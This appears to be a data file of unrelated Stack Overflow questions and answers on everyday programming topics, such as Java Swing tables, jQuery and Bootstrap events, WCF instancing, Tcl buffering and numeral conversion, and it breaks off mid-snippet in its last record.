36627761	0	Adding wait method to a JTable <p>Edited - To clarify what my problem was I have decided to edit this. </p> <p>My problem involved the method below:</p> <pre><code>addTransactionButton.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent ae){ AllGUI allGUI = new AllGUI(); allGUI.createAllGUI(); TCRSpecificGUI tcrGUI = new TCRSpecificGUI(); tcrGUI.getNtryName(); dtm.addRow(new Object[]{TCRSpecificGUI.ntryName,AllGUI.bankTransCode,TCRSpecificGUI.endToEndId, AllGUI.transAmount,AllGUI.initiatingPartyId,AllGUI.initiatingPartySchemeName, AllGUI.debtorName,AllGUI.debtorAddress,TCRSpecificGUI.debtorAccountType, TCRSpecificGUI.creditorAccountNumber,TCRSpecificGUI.proprietaryPartyType,AllGUI.debtorAgentName, AllGUI.debtorAgentCity,AllGUI.debtorAgentCountrySubDvsn,AllGUI.creditorAgentClearingSystemId, TCRSpecificGUI.purpose,TCRSpecificGUI.returnRejectReasonCode,TCRSpecificGUI.returnRejectReasonAdditionalInfo, AllGUI.payInstrument,AllGUI.typeOfCheck,AllGUI.passThruData,AllGUI.clearingAccount, AllGUI.jobId,TCRSpecificGUI.nachaTransactionCode,AllGUI.transactionType, TCRSpecificGUI.auxillaryOnUsIndicator,TCRSpecificGUI.batchTypeFromSourceSystem, TCRSpecificGUI.expressMailItem,TCRSpecificGUI.returnOccurance,TCRSpecificGUI.nameOfRMessageFile}); } }); </code></pre> <p>What is occurring there is that a GUI is being called first with the allGUI.createAllGUI() method. This is a JFrame with multiple JTextAreas for the user to fill out. Once the user clicks a confirm button on the first GUI a second one appears with more fields. When a user confirms each of the GUI's all the JTextArea information is saved into Strings and is then written into a JTable as a new row. (As seen above).</p> <p>The problem is that the logic above meant that the program would move to the dtm.addRow step even before the user had completed editing the text fields in the GUI. This means that the first row of the table would be totally blank (as the GUI fields had not yet been saved to strings).</p> <p>In short, the problem is that I needed some way to tell the program "Don't call the addRow code until the user has clicked the confirm button in the allGUI.createALLGUI() method second GUI.</p> <p>I finally found a solution. Since some users decided to mark this question as a "null pointer" duplicate I will just have to post my answer in the body here and then hopefully if the question is reopened I can post as answer.</p> <p>My solution was to move the addRow method into it's own class like this: </p> <pre><code>protected static void writeRow(){ dtm.addRow(new Object[]{TCRSpecificGUI.ntryName,AllGUI.bankTransCode,TCRSpecificGUI.endToEndId, AllGUI.transAmount,AllGUI.initiatingPartyId,AllGUI.initiatingPartySchemeName, AllGUI.debtorName,AllGUI.debtorAddress,TCRSpecificGUI.debtorAccountType, TCRSpecificGUI.creditorAccountNumber,TCRSpecificGUI.proprietaryPartyType,AllGUI.debtorAgentName, AllGUI.debtorAgentCity,AllGUI.debtorAgentCountrySubDvsn,AllGUI.creditorAgentClearingSystemId, TCRSpecificGUI.purpose,TCRSpecificGUI.returnRejectReasonCode,TCRSpecificGUI.returnRejectReasonAdditionalInfo, AllGUI.payInstrument,AllGUI.typeOfCheck,AllGUI.passThruData,AllGUI.clearingAccount, AllGUI.jobId,TCRSpecificGUI.nachaTransactionCode,AllGUI.transactionType, TCRSpecificGUI.auxillaryOnUsIndicator,TCRSpecificGUI.batchTypeFromSourceSystem, TCRSpecificGUI.expressMailItem,TCRSpecificGUI.returnOccurance,TCRSpecificGUI.nameOfRMessageFile}); } </code></pre> <p>leaving the original code like so:</p> <pre><code>addTransactionButton.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent ae){ AllGUI allGUI = new AllGUI(); allGUI.createAllGUI(); TCRSpecificGUI tcrGUI = new TCRSpecificGUI(); tcrGUI.getNtryName(); } }); </code></pre> <p>Finally in the last stage of my GUI where the user fills out the JTextFields I added this:</p> <pre><code>confirmButton.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent ae){ endToEndId=endToEndIdText.getText(); if(checkingButton.isSelected()){ debtorAccountType="Checking"; }else{ debtorAccountType="Savings"; } creditorAccountNumber=creditorAccountNumberCombo.getSelectedItem().toString(); proprietaryPartyType=proprietaryPartyTypeText.getText(); purpose=purposeText.getText(); returnRejectReasonCode=returnRejectReasonCodeText.getText(); returnRejectReasonAdditionalInfo=returnRejectReasonAdditionalInfoText.getText(); nachaTransactionCode=nachaTransactionCodeText.getText(); if(yesAuxillaryButton.isSelected()){ auxillaryOnUsIndicator="YES"; }else{ auxillaryOnUsIndicator="NO"; } batchTypeFromSourceSystem=batchTypeFromSourceSystemText.getText(); if(yesExpressButton.isSelected()){ expressMailItem="YES"; }else{ expressMailItem="NO"; } returnOccurance=returnOccuranceText.getText(); nameOfRMessageFile=nameOfRMessageFileText.getText(); Component component = (Component)ae.getSource(); Window window = SwingUtilities.windowForComponent(component); window.dispose(); TCRMainGUI.writeRow(); } }); </code></pre> <p>Note at the very bottom this line of code:</p> <pre><code>TCRMainGUI.writeRow(); </code></pre> <p>That calls the method to write a new row. </p> <p>So I now have a logic that 1. When a user clicks the create transaction button on the main JTable screen the first GUI class is opened. 2. Once the user fills out the fields and clicks confirm the values are saved to Strings and the next GUI opens. 3. Once the user fills out the fields on the second GUI and clicks confirm the values are saved and the method to add a row is called - The Strings are now populated so the row will be written with the values. </p>
14886233	0	Utilise the Bootstrap Carousel "slide" event and the .next class <p>So I've got a little problem (similar to this one I posted the other day: <a href="http://bit.ly/11JpbdY">http://bit.ly/11JpbdY</a>) with using SlabText on a piece of content that is hidden on load. This time, I'm trying to get slabText to update the display of some content that is in a slider (using Twitter Bootstrap's Carousel plugin).</p> <p>Following Twitter's documentation (<a href="http://twitter.github.com/bootstrap/javascript.html#carousel">http://twitter.github.com/bootstrap/javascript.html#carousel</a>) for Bootstrap's Carousel plugin, I'm trying to use <code>slide</code> event so that I re-call SlabText to make it display correctly.</p> <p>Using developer tools I can see that Carousel adds a <code>.next</code> class as it processes the slide of one <code>.item</code> element to the next. This is then removed before the <code>.active</code> class is transferred.</p> <p>I can access the "slide" event without any issue, but trying to get hold of the <code>.next</code> element is proving troublesome. <strong>Here is a JSFiddle of my code thus far: <a href="http://jsfiddle.net/peHDQ/">http://jsfiddle.net/peHDQ/</a></strong></p> <p><strong>To put my question simply; how should I correctly use the <code>slide</code> event to trigger a function?</strong></p> <p>Please let me know if any additional information would be useful.</p> <hr> <p><strong>Further notes:</strong></p> <p>As I've been unable to get hold of the <code>.next</code> class, I'm attempting to do this with some jQuery. Here is my code thus far:</p> <pre><code>$('.carousel').carousel({ interval: 5000 }).on('slide', function (e) { $(this).find('.active').next().find('.slab').slabText(); }); </code></pre> <p>From what I understand this should be grabbing each <code>.slab</code> element and triggering the SlabText plugin.... alas I get an error:</p> <p><em>"Uncaught TypeError: Object [object Object] has no method 'slabtext' "</em></p> <p><strong>Can anyone advise what I am doing wrong here...?</strong> I've used the exact same process to add a class and it works fine (as per this JSFiddle: <a href="http://jsfiddle.net/peHDQ/2/">http://jsfiddle.net/peHDQ/2/</a>)</p>
29960351	0	 <p>I have one suggestion for the database design.</p> <p>i have made a few modification in Response Table and Create a new Table.</p> <ul> <li>USER Table (User_ID [PK],USER_NAME,another Extra fields)</li> <li>TEST Table (Test_ID [PK],some other fields for test details)</li> <li>Quest_Set Table (Set_ID ,Que_ID,Question,some other fields if required)</li> <li>RESPONSE Table (Res_id ,User_ID [FK],Test_ID [FK], Set_ID , Que_ID, Ans_1 , Ans_2 , Flag)</li> </ul> <p>Please review it and let me know if you have any confusions.</p> <p>Regards.</p> <p>Please look the New_Response Table </p> <p>(Response_id, user_id, test_id,Trans_id,Ans1,Ans2,Flag)</p>
13591787	0	 <p>If you want to refresh the select menu with <code>data-role</code> slider you have to use:</p> <pre><code>$("#txtgender2").val(data.data.gender).slider("refresh"); </code></pre> <p>instead of:</p> <pre><code>$("#txtgender2").val(data.data.gender).selectmenu("refresh"); </code></pre>
17888725	0	Display li horizontally with wide li elements <p>I'm trying to display a li element side by side so that I can turn it into a content slider. Because the li elements are so wide they will not display inline. I know that I can expand the ul width to the width needed however I need that to me a mask with over-flow hidden so that it will be a slider. </p> <p><a href="http://jsfiddle.net/deaYn/" rel="nofollow">Here's a fiddle</a> of my original code.</p> <p><strong>HTML:</strong></p> <pre><code>&lt;div class="slider"&gt; &lt;ul&gt; &lt;li&gt; &lt;div class="video"&gt;&lt;iframe src="http://player.vimeo.com/video/70965217?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="692" height="389" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;div class="videotext"&gt; &lt;div class="videotexttitle"&gt; &lt;p&gt;Student Stories&lt;/p&gt; &lt;/div&gt; &lt;div class="videotextcopy"&gt; &lt;p&gt;At autsdf la veleniet lam fuga.Et modit quiae volesti onetumquib us est laut is aute ndant andia dolupti abor sectate aspernat dempor aut qui aut volorerchit, si officat emquissit eatem. At aut la veleniet lam fuga.Et modit quiae volesti onetumquib us est laut is aute ndant andia dolupti abor sectate aspernat dempor aut qui aut volorerchit, si officat emquissit eatem. &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;div class="video"&gt;&lt;iframe src="http://player.vimeo.com/video/70965217?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="692" height="389" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;div class="videotext"&gt; &lt;div class="videotexttitle"&gt; &lt;p&gt;Student Stories&lt;/p&gt; &lt;/div&gt; &lt;div class="videotextcopy"&gt; &lt;p&gt;At autsdf la veleniet lam fuga.Et modit quiae volesti onetumquib us est laut is aute ndant andia dolupti abor sectate aspernat dempor aut qui aut volorerchit, si officat emquissit eatem. At aut la veleniet lam fuga.Et modit quiae volesti onetumquib us est laut is aute ndant andia dolupti abor sectate aspernat dempor aut qui aut volorerchit, si officat emquissit eatem. &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;/ul&gt; </code></pre> <p></p> <p><strong>CSS</strong></p> <pre><code>.slider { width: 1099px; height: 423px; overflow: visible; position: relative; /* for overflow: hidden to work in IE7 */ } .slider &gt; ul { position: relative; margin: 0; padding: 0; } .slider &gt; ul &gt; li { float: left; width: 1099px; height: 423px; } iframe.actvideo{ padding:16px; } .video{ float:left; background: url('images/videoround.png'); width:724px; height:423px; } .videotext{ float:right; width:301px; } </code></pre>
2028091	0	 <p>Any reason you can't statically link at least the standard libraries in? You should have a working program and the benefits of the standard libraries without external dependencies.</p> <p>Also, does your toolchain/IDE provide differentiate between "standalone application" and "linux application"? The IDE for the AVR32 has that distinction and is able to generate either a program that runs within the embedded linux environment or a standalone program that basically becomes the OS.</p>
4957448	0	Access this in jquery each function <p>How can I acces my object variables within a $.each function?</p> <pre><code>function MyClass() { this.mySetting = 'Hallo'; this.arr = [{caption: 'Bla', type: 'int'}, {caption: 'Blurr', type: 'float'}]; } MyClass.prototype.doSomething = function() { $.each(this.arr, function() { //this here is an element of arr. //...but how can I access mySetting?? }); } </code></pre>
32155249	0	 <p>I would say the answer is: you can't. (or at least: you shouldn't). This is not what Webpack is supposed to do. Webpack is a bundler, and it should not be used for other tasks (in this case: copying static files is another task). You should use a tool like Grunt og Gulp to do such tasks. It is very common to integrate <a href="https://github.com/webpack/grunt-webpack">webpack as a grunt task</a> or as a <a href="http://webpack.github.io/docs/usage-with-gulp.html">gulp task</a>. They both have other tasks useful for copying files like you described. <a href="https://github.com/gruntjs/grunt-contrib-copy">grunt-contrib-copy</a> or <a href="https://www.npmjs.com/package/gulp-copy">gulp-copy</a>.</p> <p>For other assets (not the index.html), you can just bundle them in with webpack (that is exactly what webpack is for). <code>var image = require('assets/my_image.png');</code> But I assume your <code>index.html</code> needs to not be a part of the bundle, and therefore it is not a job for the bundler.</p>
10270603	0	 <p>You need to indent inside the <code>for loop</code> block</p> <pre><code>for i in range(len(Adapters)): print Adapters[i] </code></pre> <p>A better way would be:</p> <pre><code>for item in Adapters: print item </code></pre>
16507561	0	 <p>You need to <em>return</em> the month value. You also need to write the function properly:</p> <pre><code>function getMonthName(n) { var months = ["Jan", "Feb", ... ]; // omitted for brevity return months[n - 1]; } </code></pre> <p>with usage:</p> <pre><code>for (var i=0; i &lt; arrayLength; i++) { var month = data[1]; var name = getMonthName(month); alert(name); } </code></pre> <p>NB: the result will be <code>undefined</code> if the supplied month is out of range.</p>
12638694	0	 <p>Assuming that you're not limited by some older JS implementation, you can use <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" rel="nofollow">Object.defineProperty</a>.</p>
40575409	0	How to configure node at XMPP Publish Subscribe to deliver message to offline subscriber? <p>Publisher sent message_1 when subscriber online, and subscriber got it.</p> <p>Publisher sent message_2 when subscriber offline.</p> <p>Publisher sent message_3 when subscriber offline. Subscriber login, and just get message_3(last published item).</p> <p>How can i get message_2 and message_3 when subscriber login(online)? if i use retrive message, i will get all message(1,2,3) and that will no efficient bandwith.</p> <p>Please help me, i was stuck.</p>
18948450	0	Filter a list and requesting data via ajax <p>im new to javascript and phonegap and im sitting here the whole day and try to solve this problem.</p> <p>I have a list and i want to filter some data. And before i filter it, i want to download some data from a server and add it to the list. ( the list is local and if someone uses the search function, new data should pop up too).</p> <p>The idea is that i create the list with jquery and use the listviewbeforefilter-event to download the data from a server and add it to the list. Then jquery should filter the list.</p> <p>It works fine when i search filter for 2 chars.</p> <p>But this doesnt work as expected when i search for more than 2 chars. I receive the correct data from the server and it will be added to my list but the there is no more filtering in my original list. So i see my original list + the loaded data. Also the console.log("second") is shown first and then console.log("first). Somehow jquery/phonegap skips the .then part and then comes back to it.</p> <p>I tried to put the 3 lines ($ul.html( content );$ul.listview( "refresh" );$ul.trigger( "updatelayout");) below the second console.log and then the filter of my local data works but the data from the server wont be shown.</p> <p>I hope someone can help me with this weird problem.</p> <p>Heres my code for the listviewbeforefilter-event:</p> <pre><code> &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;meta name="viewport" content="user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1, width=device-width, height=device-height, target-densitydpi=device-dpi" /&gt; &lt;title&gt;Listview Autocomplete - jQuery Mobile Demos&lt;/title&gt; &lt;link rel="stylesheet" href="css/jquery.mobile-1.3.2.min.css" /&gt; &lt;script src="cordova.js"&gt;&lt;/script&gt; &lt;script src="js/jquery-2.0.3.min.js"&gt;&lt;/script&gt; &lt;script src="js/jquery.mobile-1.3.2.min.js"&gt;&lt;/script&gt; &lt;script&gt; $( document ).on( "pageinit", "#myPage", function() { $( "#autocomplete" ).on( "listviewbeforefilter", function ( e, data ) { // this is a second list which is a backup. It is needed because after each search the original list is flooded with old entries. var content = document.getElementById("autocomplete2").innerHTML; var requestdata = ""; var $ul = $( this ); $input = $( data.input ), value = $input.val(); // ajax call returns cities with at least 3 characters if ( value &amp;&amp; value.length &gt; 2 ) { $.ajax({ url: "http://gd.geobytes.com/AutoCompleteCity", dataType: "jsonp", crossDomain: true, data: { q: $input.val() } }) // The response is saved in html which i append to the original content .then( function ( response ) { var html = ""; console.log("first"); $.each( response, function ( i, val ) { html += "&lt;li&gt;" + val + "&lt;/li&gt;"; }); content = content + html; $ul.html( content ); $ul.listview( "refresh" ); $ul.trigger( "updatelayout"); }); console.log("second"); } }); }); &lt;/script&gt; </code></pre> <p>and that is the body with the list:</p> <pre><code> &lt;/head&gt; &lt;body&gt; &lt;div data-role="page" id="myPage"&gt; &lt;div data-role="header" data-theme="f"&gt; &lt;h1&gt;Listview &lt;/h1&gt; &lt;/div&gt;&lt;!-- /header --&gt; &lt;div data-role="content"&gt; &lt;div class="content-primary"&gt; &lt;ul id = "autocomplete" data-role="listview" data-filter="true" data-filter-placeholder="Search people..." data-filter-theme="d"data-theme="d" data-divider-theme="d"&gt; &lt;li data-role="list-divider"&gt;A&lt;/li&gt; &lt;li&gt;&lt;a href="index.html"&gt;Adam Kinkaid&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="index.html"&gt;Alex Wickerham&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="index.html"&gt;Avery Johnson&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt;&lt;!--/content-primary --&gt; &lt;/div&gt;&lt;!-- /content --&gt; &lt;script type="text/javascript" charset="utf-8"&gt; $(function(){ $( "#autocomplete2" ).hide(); }); &lt;/script&gt; &lt;ul id = "autocomplete2" data-role="listview" data-filter-theme="d"data-theme="d" data-divider-theme="d"&gt; &lt;li data-role="list-divider"&gt;A&lt;/li&gt; &lt;li&gt;&lt;a href="index.html"&gt;Adam Kinkaid&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="index.html"&gt;Alex Wickerham&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="index.html"&gt;Avery Johnson&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt;&lt;!-- /page --&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
10913752	0	 <p>I solve the problem with this code.and we shold to use interface "IPlugin" in a seperate class library and use in other project.</p> <pre><code> Assembly objAssembly = Assembly.LoadFrom("Company.dll"); Type objAssemblyType = objAssembly.GetType(); foreach (Type type in objAssembly.GetTypes()) { if (type.IsClass == true) { var classInstance = objAssembly.CreateInstance(type.ToString()) as IPlugin; lblFullName.Text = classInstance.FullName("Mr. "); } } </code></pre>
11907347	0	 <p>You want something like <code>/^[#][^#]*$/</code></p>
19005331	0	 <p>The <a href="http://www.tcl.tk/man/tcl8.6/TclCmd/flush.htm" rel="nofollow"><code>flush</code></a> command directs Tcl to ensure all its buffered output for a channel is written to the underlying operating system immediately. You hardly ever need to use <code>flush</code> explicitly; the main exception is when you are prompting the user for input without using a new line:</p> <pre><code>puts -nonewline "Please enter your name: " flush stdout set name [gets stdin] </code></pre> <p>However, if you are having problems with flushing for other reasons, you actually need to use <a href="http://www.tcl.tk/man/tcl8.6/TclCmd/fconfigure.htm" rel="nofollow"><code>fconfigure</code></a> to change the default output buffer management strategy:</p> <pre><code># Turn off output buffering fconfigure $channel -buffering none </code></pre> <p>Every channel supports three buffering strategies:</p> <ul> <li><code>none</code> — no buffering at all.</li> <li><code>full</code> — buffer until a full output buffer is built up (the output buffer size is controllable but you hardly ever need to touch it) and then write that whole buffer at once.</li> <li><code>line</code> — buffer until a full line of output can be written at once.</li> </ul> <p>Most channels default to <code>full</code> as that gives the best performance when writing bulk data, but the <code>stdout</code> channel defaults to <code>line</code> when writing to a terminal, and the <code>stderr</code> channel <em>always</em> defaults to <code>none</code> (as it is used for writing messages when the system is very poorly and might crash, among other things).</p>
3345017	0	 <p>The problem is that your selector matches all .popup_msg, not only the one you need. Use the find() method to get the correct popup in the $('.t').click function:</p> <pre><code>jQuery('.t').click(function(e) { var popup_msg = jQuery(this).find('.popup_msg'); var height = popup_msg.height(); var width = popup_msg.width(); leftVal=e.pageX-(width/1.5)+"px"; topVal=e.pageY-(height/13)+"px"; popup_msg.css({left:leftVal,top:topVal}).show(); }); </code></pre> <p>Note: I haven't tested this code, it might not be 100% correct but hopefully you get what I mean.</p>
17094573	0	How to exit debug session on Borland C++ Builder 6? <p>While mid debugging, what's the proper way to force exit debug mode. I didn't see the usual red square "stop" button like visual studio or eclipse.</p>
37021861	0	 <p>Try this:</p> <pre><code>/** * * Convert a bengali numeral to its arabic equivalent numeral. * * @param bengaliNumeral bengali numeral to be converted * * @return the equivalent Arabic numeral * @see #bengaliToInt */ public static char bengaliToArabic(char bengaliNumeral) { return (char) (bengaliNumeral - '০' + '0'); } public static int bengaliToInt(char bengaliNumeral) { return Character.getNumericValue(bengaliNumeral); } </code></pre> <p><a href="http://ideone.com/qJ8ddX" rel="nofollow">DEMO</a></p> <h3>SAMPLE CODE</h3> <pre><code>System.out.format("bengaliToArabic('১') == %s // char\n", bengaliToArabic('১')); System.out.format("bengaliToInt('১') == %s // int\n", bengaliToInt('১')); </code></pre> <h3>OUTPUT</h3> <pre><code>bengaliToArabic('১') == 1 // char bengaliToInt('১') == 1 // int </code></pre>
40822974	0	Function not defined/ not working <p>I'm making a quiz, and I was just trying to check if the submit button was working. It isn't here is the code. What did I do wrong?</p> <p>HtmL</p> <pre><code>&lt;button type="button" onClick="checkAllAnswers" id="checkAllAnswers"&gt;button&lt;/button&gt; </code></pre> <p>JS</p> <pre><code>function checkAllAnswers(){ var thingtocheck = 5; if (thingtocheck === 5){ alert("Check button is working"); } </code></pre> <p>Seems right to me...</p>
10088217	0	 <p>You don't need to use <code>eval</code> at all to create a cell array of function handles using a <code>for</code> or <code>parfor</code> loop. Then all you need to do is to call each function handle stored in <code>functions</code> cell array.</p> <pre><code>functions = cell(1, 10); parfor i = 1:10 functions{i} = str2func([ 'function', num2str(i) ]); end parfor i = 1:10 result = functions{i}(); fprintf('%d ', result); end </code></pre>
7307775	0	How does WCF actually work? <p>I have created a C# application that I want to split into server and client side. The client side should have only a UI, and the server side should manage logic and database.</p> <p>But, I'm not sure about something: my application should be used by many users at the same time. If I move my application to a server, will WCF create another instance of the application for every user that logs in or there's only one instance of the application for all users?</p> <p>If the second scenario is true, then how do I create separate application instances for every user that want to use my service? I want to keep my application logic on the server, to make users share the same database, but also to make every single instance independent (so several users can use the WCF service with different data). Someting like PHP does: same code, new instance of code for every user, shared database.</p>
4191324	0	How do you make sure that you always have a releasable build? <p>How do you make sure that you always have a releasable build?</p> <p>I'm on a Scrum team that is running into the following problem: At the end of the Sprint, the team presents its finished user stories to the Product Owner. The PO will typically accept several user stories but reject one or two. At this point, the team no longer has a releasable build because the build consists of both the releasable stories and the unreleasable stories and there is no simple way to tear out the unreleasable stories. In addition, we do not want to just delete the code associated with the unreleasable stories because typically we just need to add a few bug fixes.</p> <p>How should we solve this problem? My guess is that there is some way to branch the build in such a way that either (a) each user story is on its own branch and the user story branches can be merged or (b) there is a way of annotating the code associated with each user story and creating a build that only has the working user story. But I don't know how to do either (a) or (b). I'm also open to the possibility that there are much easier solutions.</p> <p>I want to stress that the problem is not that the build is broken. The build is not broken -- there are just some user stories in the build that cannot be released.</p> <p>We are currently using svn but are willing to switch to another source control system if this would solve the problem.</p> <p>In addition to answers, I'm also interested in any books or references which address this question.</p>
26946564	0	 <p>With <a href="http://www.rebol.com/docs/words/wbind.html" rel="nofollow">bind</a>, that Binds words to a specified context (in this case local context of function), and <a href="http://www.rebol.com/docs/words/wcompose.html" rel="nofollow">compose</a> function, I get: </p> <pre><code>cascade: func [ times template start ] [ use [?1] [ ?1: start template: compose [?1: (template)] loop times bind template '?1 ?1 ] ] cascade 8 [?1 * 2] 1 == 256 cascade 3 [add 4 ?1] 5 == 17 val: 4 cascade 3 [add val ?1] 5 == 17 cascade2: func [ times template1 start1 template2 start2 /local **temp** ] [ use [?1 ?2] [ ; to bind only ?1 and ?2 and to avoid variable capture ?1: start1 ?2: start2 loop times bind compose [**temp**: (template1) ?2: (template2) ?1: **temp**] '?1 ?1 ] ] cascade2 5 [?1 * ?2] 1 [?2 + 1] 1 == 120 cascade2 5 [?1 + ?2] 1 [?1] 0 == 8 </code></pre>
22694513	0	jQuery css height not applying <p>For some reason the height is not being set in this piece of code</p> <pre><code>jQuery(document).ready(function() { jQuery('#main-content').css({'height': ((jQuery(window).height()))+'px'}) jQuery('#nav-icons a').click(function(){ jQuery('#nav-icons a').removeClass("active-icon"); jQuery(this).addClass( "active-icon" ); var toLoad = jQuery(this).attr('href')+' #main-content'; var toLoadSlider = jQuery(this).attr('href')+' #homepage-slider'; jQuery('#main-content , #homepage-slider').fadeOut(1000, loadContent); function loadContent() { jQuery('#homepage-slider').empty().load(toLoadSlider) jQuery('#main-content').empty().load(toLoad,'',showNewContent()) } function showNewContent() { jQuery('#main-content , #homepage-slider').css({'height': ((jQuery(window).height()))+'px'}).hide().fadeIn(2000).removeAttr('id class'); } return false; </code></pre> <p>interestingly, the exact same line of code in the showNewContent() does set the height.</p>
36072028	0	 <p>The following works for me:</p> <pre><code> try (InputStream stream = Test.class.getResourceAsStream("/Test.xml")) { StreamSource source = new StreamSource(stream); final XML xml = new XMLDocument(source); } </code></pre> <p>With the input file's hex dump:</p> <pre><code>FF FE 3C 00 3F 00 78 00 6D 00 6C 00 20 00 76 00 65 00 72 00 73 00 69 00 6F 00 6E 00 3D 00 27 00 31 00 2E 00 30 00 27 00 20 00 65 00 6E 00 63 00 6F 00 64 00 69 00 6E 00 67 00 3D 00 27 00 55 00 54 00 46 00 2D 00 31 00 36 00 27 00 3F 00 3E 00 3C 00 58 00 20 00 69 00 64 00 3D 00 22 00 31 00 22 00 2F 00 3E 00 </code></pre> <p>As far as I can tell, in your example you are converting the contents of the file to a string. But this is problematic because you actually throw away the encoding when you convert bytes to string. When the SAX parser converts the string to a byte array, it decides it will be UTF-8, but the prolog states that it is UTF-16 and so you have a problem.</p> <p>Instead, when I use the StreamSource, it just automatically detects the fact that the file is encoded in UTF-16 LE from the BOM.</p> <p>If you are not using java-7 or up and cannot use try-with-resources, then use the stream.close() as before.</p>
36761022	0	 <p>Try if this works Not tested, a wild guess</p> <pre><code>void restartButtonClickFunction(object obj) { foreach (var window in Application.Current.Windows) { if (window is GameWindow) { ((Window)window).Close(); } } GameWindow gamewindow = new GameWindow(); gamewindow.Show(); } </code></pre>
9730440	0	 <p>Use an ArrayList instead of a table. Removes the displayed question from the ArrayList when it has been displayed.</p>
11245839	0	How to post uiimage to soap Srevice in binary formate <p>I want to post uiimage into soap service and input image is into binary formate</p> <pre><code>"&lt;ExpenseDetailReceipt&gt;%@&lt;/ExpenseDetailReceipt&gt;" </code></pre> <p>and send this appdelegate.imgBMeal data</p> <pre><code>appdelegate.imgBMeal=UIImagePNGRepresentation(appdelegate.imgMeal); </code></pre> <p>as image but there is some problem and I get please send data in correct formate </p> <p>please help me how to do this</p>
3205166	0	 <p>You're setting CSS properties incorrectly with jquery. You can read <a href="http://api.jquery.com/css/" rel="nofollow noreferrer">here</a> how to reference the names of the properties (camelcased, with no hyphen).</p> <pre><code>$("#element").css({"backgroundImage":"url(/images/image.jpg)",....etc}) </code></pre>
30818476	0	 <p>The <code>animate</code> functions has its own callback function. Use it like this:</p> <pre><code>$("#pin01").animate({left: '650px'}, 500, function() { $("#pin02").animate({left: '350px'}); }); </code></pre> <p>The 500, is the delay, after the completion of the first animation, you can set it to be 0 if you do not want any delay. And the delay is given in <code>ms</code> (milliseconds).</p>
31500093	0	 <p>Basically this code relies on a little trick: if you seed the SHA1PRNG for the SUN provider and Bouncy Castle provider before it is used then it will always generate the same stream of random bytes. This is not always the case for every provider though; other providers simply mix in the seed. In other words, they may use a pre-seeded PRNG. In that case the <code>getRawKey</code> method generates different keys for the encrypt and decrypt, which will result in a failure to decrypt.</p> <p>Basically this horrible code snippet abuses the SHA1PRNG as a Key Derivation Fucntion or KDF. You should use a true KDF such as PBKDF2 if the input is a password or HKDF if the input is a key.</p> <p>That code snippet should be removed. It has been copied from Android snippets, but I cannot find that site anymore.</p>
39929877	0	Swift performSegueWithIdentifier shows black screen <p>I have read through a lot of different posts regarding this issue, but none of the solutions seemed to work for me. </p> <p>I started a new app and I placed the initial ViewController inside a navigation controller. I created a second view and linked them together on the storyboard with a segue. The segue works successfully, and I can see the data I am transferring in a print statement from the second screen, but the screen shows black.</p> <p>WelcomeScreen:</p> <pre><code>override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) { if segue.identifier == "segueToTraits"{ if let gender = self.selectedGender{ let traitVC = segue.destinationViewController as? TraitViewController traitVC!.gender = gender } } } func sendGenderToTraitsView(gender : String?){ performSegueWithIdentifier("segueToTraits", sender: self) } @IBAction func button1(sender: UIButton) { selectedGender = boyGender self.sendGenderToTraitsView(selectedGender) } @IBAction func button2(sender: UIButton) { selectedGender = girlGender self.sendGenderToTraitsView(selectedGender) } </code></pre> <p>Storyboard: <a href="http://i.stack.imgur.com/8SPTf.png" rel="nofollow">Link to image of my storyboard</a> My segue is set as follows: <a href="http://i.stack.imgur.com/sO6dx.png" rel="nofollow">Link to image of my segue information</a></p> <p>Also, my viewControllers are named WelcomeViewController and TraitViewController. They have storyboard id's of welcomeVC and traitsVC.</p> <p>Any help would be incredibly appreciated. Let me know if you need any other information.</p>
27468770	0	Call click function only for TH with class <p>I have table</p> <pre><code>&lt;table id="dataTable"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;TH 1&lt;/th&gt; &lt;th&gt;TH 2&lt;/th&gt; &lt;th class="sortable"&gt;TH 3&lt;/th&gt; &lt;th&gt;TH 4&lt;/th&gt; &lt;th&gt;TH 5&lt;/th&gt; &lt;th class="sortable"&gt;TH 6&lt;/th&gt; &lt;th&gt;TH 7&lt;/th&gt; &lt;th&gt;TH 8&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;Data 1&lt;/td&gt; &lt;td&gt;Data 2&lt;/td&gt; &lt;td&gt;Data 3&lt;/td&gt; &lt;td&gt;Data 4&lt;/td&gt; &lt;td&gt;Data 5&lt;/td&gt; &lt;td&gt;Data 6&lt;/td&gt; &lt;td&gt;Data 7&lt;/td&gt; &lt;td&gt;Data 8&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; </code></pre> <p>I need solution for add class into TD only under TH with class "sortable" but only If I click only to TH with class sortable.</p> <p>Now I use Jquery code </p> <pre><code>$("#dataTable th").click(function () { if ($("th").hasClass("sortable") { // has specialclass var colIndex = $(this).parent().children().index($(this)); $('tr').find('td.td-sorting').removeClass('td-sorting'); $('tr').find('td:eq(' + colIndex + ')').addClass('td-sorting'); } }); </code></pre> <p>This part of code works fine:</p> <pre><code>var 